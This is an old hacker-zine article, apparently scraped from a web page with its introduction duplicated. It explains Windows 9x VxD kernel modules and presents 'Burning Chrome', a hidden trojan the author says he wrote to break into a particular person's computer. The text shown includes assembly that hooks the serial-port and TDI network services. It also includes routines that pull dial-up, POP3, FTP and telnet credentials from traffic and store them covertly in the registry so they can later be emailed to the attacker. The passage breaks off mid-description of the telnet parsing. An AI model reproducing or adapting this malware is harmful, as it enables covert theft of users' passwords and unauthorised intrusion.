Coding : Sécurité Programmation Réseaux - Attacking Windows 9x with Loadable Kernel Modules (alias VxD) -- Ou comment s'am

This article explains the basics of Windows 9x kernel modules development and contains the full source of a loadable kernel module (LKM) that performs the following functions:

1) it captures TCP connections traffic and extracts telnet/pop3/ftp passwords
2) it captures dial-up connections traffic (by capturing the raw data from the
serial port) and extracts dial-up passwords
3) by accessing the TCP stack directly (bypassing the Winsock interface), it
emails all the collected authentication information to an evil script kiddie sitting in a basement full of stolen hardware
4) it is virtually undetectable with any standard Windows tools
5) it is written entirely in assembly and the executable file size is
only 7KB

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [ a r t i c l e ] [ a u t h o r ] Attacking Windows 9x with Loadable Kernel Modules Solar Eclipse - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --------[ Solar Eclipse ] ----[ Introduction This article explains the basics of Windows 9x kernel modules development and contains the full source of a loadable kernel module (LKM) that performs the following functions: 1) it captures TCP connections traffic and extracts telnet/pop3/ftp passwords 2) it captures dial-up connections traffic (by capturing the raw data from the serial port) and extracts dial-up passwords 3) by accessing the TCP stack directly (bypassing the Winsock interface), it emails all the collected authentication information to an evil script kiddie sitting in a basement full of stolen hardware 4) it is virtually undetectable with any standard Windows tools 5) it is written entirely in assembly and the executable file size is only 7KB The name of the LKM is Burning Chrome. I wrote it because I had to break into a computer system owned by a girl called Chrome. Yes, I know it sounds lame. No, I don't know who William Gibson is. Dude, what is the Matrix? I assume that you have a basic knowledge of Win32 programming, x86 protected mode architecture, 32-bit assembly language programming, SoftIce and basic Internet protocols (telnet/pop3/ftp/smtp). I will start this article with a short overview of the Windows 9x kernel design. Then I will describe a template kernel module and will talk about some of the system services that Windows provides. Finally I will give you the Burning Chrome source. ----[ Windows 9x Internals Windows 9x has two separate layers of code: DLL layer and VXD layer. 1) DLL Layer The DLL layer consists of all system DLLs. It runs as a Ring 3 code. All the API functions that Windows programs normally call are implemented in the DLL layer (in KERNEL32.DLL, USER32.DLL, GDI32.DLL and other DLLs). Many of the DLLs call VXD functions. Some of the API functionality is implemented entirely in the VXD layer and the DLL functions act only as gates (this is the case with the registry access functions). Calling DLL functions from the VXD layer is impossible and this makes most of the Windows API inaccessible to kernel modules. I will not discuss the system DLLs any more, because they are not used for Windows kernel hacking. 2) VXD Layer The general term VXD stands for Virtual Device Driver, the "x" being a placeholder for device names. For example, VKD is a Virtual Keyboard Driver, VDD is a Virtual Display Driver, etc. The VXD layer is the core of the Windows OS. It is similar to the Linux kernel and the functions it provides, although it is not nearly as well documented. The VXD code handles memory management, task switching, low-level hardware access and other similar tasks. The core OS services, such as registry access, networking and file access are also implemented in the VXD layer. All VXDs run in Ring 0 and have full access to the system. Hacking the Windows kernel is possible by writing an VXD. The Windows Driver Development Kit (DDK) is used for writing VXDs. Most programmers shiver when somebody mentions 'device drivers', but but the VXDs can be used for many other purposes. Let me quote Andrew Schulman, the author of "Unauthorized Windows95. A Developer's Guide to Exploring the Foundations of Windows 95": "...Seen from this perspective, the names Virtual Device Driver and Device Driver Kit are unfortunate. They automatically turn off most Windows developers, who quite sensibly feel that device-driver writing is an area they would rather stay away from. More appropriate names would have been "TSRs for Windows" or "Please Hack Our Operating System". As it is, the names VXD and DDK alienate many programmers who would otherwise jump at this stuff. ...Admittedly, very few Windows programmers will be using VXDs to write hardware interrupt handlers or device drivers. But a short time spent with the DDK should convince you that there's a ton of documented functionality available to VXDs that is otherwise difficult or impossible to get under Windows. Whenever a programmer says that something is "impossible" in Windows, I suspect the correct reply will be "No it isn't. Write a VXD" Just as TSRs allowed DOS programmers to do the otherwise-impossible in the 1980s, VXDs are going to let Windows programmers go anywhere and do anything in what's left of the 1990s." Unfortunately (or maybe fortunately) writing VXDs for Windows has not become as common as writing TSRs for DOS was. The possibilities that the Virtual Device Drivers offer are big, but writing one is not an easy task. ----[ Your First VXD VXDs are usually written with the Windows98 DDK, which includes a copy of the Microsoft Macro Assembler (MASM). It is possible to use C for VXD development, but using assembly is definitely more fun. Other tools, such as NuMega DriverWorks make the programmer's job easier, but for this example I will use only the Win98 DDK. The DDK is available for free download on Microsoft's web site. Even if they take it down, you will be able to find it on some old copy of the MSDN or on the net. Having a copy of the Windows NT4 DDK, Windows 2000 DDK and even the Windows 3.11 DDK will also be nice. Many interesting VXD features are poorly documented or not documented at all. Although the Windows 98 DDK will be your primary source of information, sometimes you will find the information you need in some of the other kits. The Windows 3.11 DDK is useful, because there are a lots of similarities in the internal architecture of Windows 3.11 and Windows 95. (Contrary to the Microsoft hype, Windows 3.11 was closer to Windows 95 than to Windows 3.1. Basically the only major change between 3.11 and 95 was the GUI) The VXDs are LE executables. You need a special linker to link them (included in the DDK). The following source is a template for a very basic VXD. It's just an example for a module that can be successfully loaded by the system. example.asm ; EXAMPLE.ASM ; VXDs use 386 protected mode .386p ; Many system VXDs export services, just like the system DLLs in Windows. ; We can use these services for memory allocations, registry and file ; access, etc. ; All we need to do is include the appropriate include file. There are ; many INC files for the system VXDs that come with the DDK. ; VMM.INC is the only required include file. It contains the declarations ; for many important services exported by VMM32.VXD, as well as many ; macros that are used for VXD programming. INCLUDE VMM.INC ; All VXDs need a Driver Declaration Block (DDB), that stores information ; about its name, version, control procedure, device ID, init order, etc. ; To build this DDB use the Declare_Virtual_Device macro with the following ; parameters: ; - VXD name (needs not be the same as the file name) ; - Major version ; - Minor version ; - Control procedure (similar to WndProc in normal Windows programs. This ; procedure receives all the system messages and processes them ; - Device ID - used only for VXDs that export services. Arbitrary values ; might work as long as they don�t conflict with the official Device IDs ; assigned by Microsoft ; - Init order - 32 bit integer, determines the order in which the VXDs ; are loaded. If you want your VXD to be loaded after some other VXD, ; use a value greater than the other VXD's init order Declare_Virtual_Device EXAMPLE, 1, 0, Control_Proc, Undefined_Device_ID, Undefined_Init_Order, , , ; This macros declares the data segment VxD_DATA_SEG SomeData dd 0 ; Just some data VxD_DATA_ENDS ; Code segment VxD_CODE_SEG BeginProc SomeProcedure push eax mov eax, 1 pop eax ret EndProc SomeProcedure VxD_CODE_ENDS ;Locked code segment - will be explained later VxD_LOCKED_CODE_SEG ; This is the control procedure. It should use Control_Dispatch macros for ; handling the messages. This macro takes 2 parameters - message_code and ; handler address. You can find a list of all the messages in the DDK ; documentation. ; This example only handles the Device_Init message and calls the ; Do_Device_Init function. BeginProc Control_Proc Control_Dispatch Device_Init, Do_Device_Init clc ret EndProc Control_Proc VxD_LOCKED_CODE_ENDS ; Init code segment VxD_ICODE_SEG ; This procedure is called after the VXD is loaded. Put the initialization ; code in it. BeginProc Do_Device_Init ; Put some init code here... ret EndProc Do_Device_Init VxD_ICODE_ENDS ; End of EXAMPLE.ASM END There are 7 different types of segments that your VXD can use. 1) VxD_DATA_SEG and VxD_CODE_SEG - for pageable code and data 2) VxD_LOCKED_DATA_SEG i VxD_LOCKED_CODE_SEG - this segments contain non-pageable code and data. Control_Proc and the interrupt handlers should be in VxD_LOCED_CODE_SEG. I am not quite sure about the rest of the code. The Windows DDK documentation is not very clear about that. If your VXD is small, you might want to use only non-pageable memory, just to be safe. 3) VxD_ICODE_SEG i VxD_IDATA_SEG - initialization code and data. These segments are discarded after the initialization is finished. This is a good place for the Do_Device_Init procedure. 4) VxD_REAL_INIT_SEG - The code in this segment is executed by Windows before the processor switches to protected mode. Unless you are writing a REAL device driver, it's pretty much useless. To compile the example VXD you will also need a .DEF file. This is EXAMPLE.DEF: example.def LIBRARY EXAMPLE DESCRIPTION 'VxD Example by Solar Eclipse' EXETYPE DEV386 SEGMENTS _LTEXT PRELOAD NONDISCARDABLE _LDATA PRELOAD NONDISCARDABLE _ITEXT CLASS 'ICODE' DISCARDABLE _IDATA CLASS 'ICODE' DISCARDABLE _TEXT CLASS 'PCODE' NONDISCARDABLE _DATA CLASS 'PCODE' NONDISCARDABLE EXPORTS EXAMPLE_DDB @1 example.def If your DDK is set up correctly, and all the shell variables are initialized (read the DDK docs for that), you should be able to compile EXAMPLE.VXD with the following commands (no Makefile, sorry): You can compile a DEBUG version with this: set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT - DMASM6 -DINITLOG -DDEBLEVEL=0 -Fl ml example.asm NO_DEBUG version: set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT - DMASM6 -DINITLOG -DDEBLEVEL=1 -DDEBUG -Fl ml example.asm Then link it: link example.obj /vxd /def:example.def Put the file EXAMPLE.VXD in C:WINDOWSSYSTEM and add the following to the [386Enh] section of SYSTEM.INI device=example.vxd After the system is rebooted, the VXD will be loaded. Of course it won't do much, but you can see it in the VXD list with SoftIce. ----[ Burning Chrome The VXDs allow you to access most of the core Windows services directly and this gives you some interesting possibilities. Let's explore the features implemented in CHROME.ASM. I. Capturing dial-up passwords Almost all dial-up connections are initiated through a modem attached to a serial port, using the PPP protocol. The two most common ways of authentication are via PAP (Password Authentication Protocol) or via a login prompt. To get these passwords we need to capture the traffic passing through the serial port. The Hook_Device_Service system call allows us to hook the services exported by the VXDs. VCOMM.VXD exports three services that we need to hook. These are VCOMM_OpenComm, VCOMM_WriteComm and VCOMM_CloseComm. The following code hooks the services: ; Hook VCOMM services GetVxDServiceOrdinal eax, _VCOMM_OpenComm mov esi, offset32 OpenComm_Hook VMMcall Hook_Device_Service jc Abort GetVxDServiceOrdinal eax, _VCOMM_WriteComm mov esi, offset32 WriteComm_Hook VMMcall Hook_Device_Service jc Abort GetVxDServiceOrdinal eax, _VCOMM_CloseComm mov esi, offset32 CloseComm_Hook VMMcall Hook_Device_Service jc Abort OpenComm_Hook, WriteComm_Hook and CloseComm_Hook are the names of the new service handlers. One of the OpenComm parameters is the name of the device being opened. When a dial-up connection is established, Windows opens COM1, COM2, COM3 or COM4 and sends the AT modem commands. Our OpenComm procedure checks the device name and sets a flag if it is a COM port. All the subsequent WriteComm calls are logged, until the connection is closed. If the flag is set, the WriteComm procedure saves all the data to a buffer. When the buffer gets full, the data in it is processed and saved to the registry. The main goal of the log processing routines is to make sure that no username/password combination is emailed twice - getting your mailbox flooded by a misbehaving trojan horse is not good. This requires the usernames and the passwords to be saved and each new connection to be checked against the old sessions. The best place for storing such information is the registry. Reading and writing to the registry is much easier than storing the data in a file on the hard disk. The chance of the user noticing a few new entries in the registry is also very slim. For each session, four things need to be saved: username, password, phone number or IP address of the remote end and the log itself. Before the session is saved, the username, password and the phone number are extracted from the log and compared to the existing values in the registry. If a session with the same values exists, the new session is not saved. CHROME.ASM combines the username, password and phone number into a single string. Then it saves the session to the registry using this string as the key name and the log as the key value. The string acts as a hash of the log. When a new connection is captured, its hash string is generated and the VXD checks if a key with the same hash exists. It does this by trying to open a key with the same name as the hash string. If the RegQueryValueEx call fails, the new connection is saved. ; The following code is taken from the Send_Common procedure ; ValueName is pointer to the beginning of the hash string. ; pBuffer is a pointer to the log ; RegQueryValueEx expects a pointer to a pointer, so dwTemp_1 is used ; for passing a pointer to a NULL pointer Get_Reg_Value: ; Try to get the value with the same name xor ebx, ebx mov dwTemp_1, ebx push offset32 dwTemp_1 ; cbData push ebx ; lpszData push ebx ; fdwType push ebx ; dwReserved push ValueName ; lpszValueName push hOurKey ; phKey VMMCall _RegQueryValueEx ; Get the value of the key add esp, 18h cmp eax, ERROR_FILE_NOT_FOUND ; If key exists jne Send_Common_Abort ; Save the result in the registry push BufferSize ; cbData push pBuffer ; lpszData push REG_SZ ; fdwType push 0 ; dwReserved push ValueName ; lpszValueName push hOurKey ; phKey VMMCall _RegSetValueEx ; Set the value of the key add esp, 18h When the user ftp's to a server his connection is logged. If later he decides to telnet to the same server with the save username and password, the telnet connection will not be saved, because the hash string will be the same. To avoid this we will include an connection type identifier in the hash string. This identifier is a single letter put in the beginning of the hash string: TraceLetters equ $ ; Table with letters for each different NOTHING db 'N' ; type of trace. Indexed with TraceType MODEM db 'M' TELNET db 'T' FTP db 'F' POP3 db 'P' The buffer processing functions for the dial-up and the TCP connections are very similar. They only differ in the way the hash string is extracted from the log. The common buffer processing is done by the Send_Common function. It saves the new data in the buffer and checks if it is full. Usually we don't need to capture more than the first hundred bytes to get the username and password. If the buffer is full, the log should be processed. The TraceType variable contains the connection type - modem, telnet, ftp or pop3. Send_Common calls the appropriate log processing function - in the case of a dial-up connection it calls ModemLog. The log processing functions extract a hash string from the buffer and returns it to Send_Common. ModemLog checks the captured data for an ATD command. If does not find it, an error flag is set and the data is not saved into the registry. Else the phone number is extracted and copied as the first part of the hash string. If the first transferred byte after the phone number is a '~' we are dealing with a PPP connection. During the PPP connection establishment authentication information can be exchanged. The most commonly used protocol is called PAP (Password Authentication Protocol). CHAP (Challenge Authentication Protocol) is also popular, but it does not send the password in cleartext and therefor can not be captured by the VXD. You can find more information on PAP in RFC1172: The Point-to-Point Protocol Initial Configuration Options. The PPP protocol is described in RFC1331. The PAP authentication information is transmitted using a PPP packet with a PAP sub-packet type. The structure of the PAP packet is shown in the following table: | 7E | C0 23 | 01 | xx | xx xx | ULen | U S E R | PLen | P A S S | | | | | | | | | | | |PPP | PAP |code| id |length |user len|username |pass len|password | All PAP packets start with 7E C0 23. If the packet is carrying authentication information the PAP code is 01. We need to scan the captured PPP session for the 7E C0 23 01 byte sequence and copy the username and the password to hash string. If the first character after the phone number is not '~', we are dealing with a login prompt configuration. Usually the user enters a username, presses Enter, then enters the password, presses Enter again and the PPP connection is established. As we already know, the first byte of the PPP handshake sequence is '~'. If we copy all the data before the '~' to the hash string we'll surely get the username and the password. II. Capturing TCP connections Everybody reading this is probably familiar with the Winsock interface. What most of you don't know is that most of the Winsock functions are implemented in the Transport Data Interface (TDI). This is a kernel mode interface for network access, supporting different network protocols. WINSOCK.DLL is just a convenient way for the Windows applications to use this interace without calling the VTDI.VXD services directly. Among others the TDI interface provides the functions TdiConnect, TdiDisconnect and TdiSend. They correspond directly to the Winsock functions connect(), disconnect() and send(). We need to hook these functions and intercept the data being sent. There is no documented way for hooking these functions, but it's not impossible. The VTDI_Get_Info system call returns a pointer to the TdiDispatchTable, which contains pointers to all the TDI functions. The applications that use TDI are supposed to get the addresses from this table and call the TDI functions directly. If we get the address of this table and replace the addresses of the TDI functions with the addresses of our hooks, all the TDI calls will get routed to us. Our code runs in Ring 0 and we have full access to the memory and can change whatever we want. Of course we need to save the addresses of the old handlers so that we can call them later. Sounds just like hooking DOS interrupt handlers, doesn't it? Here is the code for hooking the TDI functions: ; Make sure VTDI is present VxDcall VTDI_Get_Version jc Abort ; Get a pointer to the TCP dispatch table push offset32 TCPName VxDcall VTDI_Get_Info add esp, 4 mov TdiDispatchTable, eax ; Save the address of TdiDispatchTable ; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend mov ebx, [eax+0Ch] mov TdiCloseConnection_PrevAddr, ebx mov [eax+0Ch], offset32 TdiCloseConnection_Hook mov ebx, [eax+18h] mov TdiConnect_PrevAddr, ebx mov [eax+18h], offset32 TdiConnect_Hook mov ebx, [eax+1Ch] mov TdiDisconnect_PrevAddr, ebx mov [eax+1Ch], offset32 TdiDisconnect_Hook mov ebx, [eax+2Ch] mov TdiSend_PrevAddr, ebx mov [eax+2Ch], offset32 TdiSend_Hook The TDI documentation in the Windows DDK is incomplete and very confusing, but it's the only available source of information. TdiConnect is passed a pointer to a RequestAddress structure, which contains a pointer to a RemoteAddress structure, which contains the IP address and the port number. After making sure that the RequestAddress is of type IPv4, our TdiConnect handler checks the destination port number. If it is 21, 23 or 110 we need to capture this connection. We need to set the TraceType flag and save the connection handle. Unfortunately this connection handle is not returned directly by the original TdiConnect function. One of its parameters is the address of a callback function which is to be called after the connection is established (or when an error occurs). We will save the supplied address of the callback function and replace it with the address of TdiConnect_Callback function in the VXD. This function checks the connection status. If the connection is successfully established, the connection handle is saved. If not, the TraceType flag is unset. After that the real callback function is called. TdiSend is very similar to WriteComm. It checks the connection handle and if it matches the connection that we are currently tracing TdiSend calls SendCommon. From there on the process is exactly the same as described above. If we are tracing a pop3 session, SendCommon calls Pop3Log as a log processing function. Pop3Log converts the IP address of the server to a hex string and saves it as the first part of the hash. This makes sure that two accounts with the same username/password on different servers will not get confused. Then the log is scanned for the USER and PASS commands. The username and password are extracted and stored in the hash string. mov esi, pBuffer mov ecx, BufferSize mov ebx, ecx mov eax, 'RESU' ; Search for USER USER_or_PASS_Loop: cmp dword ptr [esi], eax ; Search for USER or PASS (in eax) je USER_or_PASS_Copy_Loop_Start inc esi dec ecx jz Pop3Log_Abort jmp USER_or_PASS_Loop USER_or_PASS_Copy_Loop_Start: add esi, 5 ; Skip 'USER' and 'PASS' USER_or_PASS_Copy_Loop: cmp byte ptr [esi], 0Dh ; Is here? jne Copy_USER_or_PASS cmp al, 'P' ; Is this a PASS copy? je Pop3Log_End ; Work done, finish log processing mov ax, 0A0Dh ; Save a between username & pass stosw mov eax, 'SSAP' jmp USER_or_PASS_Loop Copy_USER_or_PASS: movsb dec ecx jz Pop3Log_Abort jmp USER_or_PASS_Copy_Loop This code is shown here only as a prove that programming in assembly is a very brain damaging activity. After spending several years doing assembly language programming, you'll never programmer the same way as before, even in a high level language. Whether this is good or bad is a different question. The FTP protocol is very similar to the POP3 protocol. In fact the authentication commands (USER & PASS) are exactly the same and FtpLog can simply call Pop3Log. We don't want to capture all the anonymous ftp connections and that's why FtpLog checks the username. If it is 'anonymous', the connection trace is aborted. All telnet logs are processed by the TelnetLog function. It is a little bit more complicated because the Telnet client negotiates the terminal options with the server before it lets the user type his username and password. The algorithm for the username/password extraction is as follows: DATA: terminal options | 0 | username | CR | password | CR | more data 1) find the first CR 2] find the second CR 3) save the second CR position 4) search for the 0 (going back from the second CR) 5) stop when 0 is found or the beginning of the buffer is reached 6) copy everything from the current position (starting after the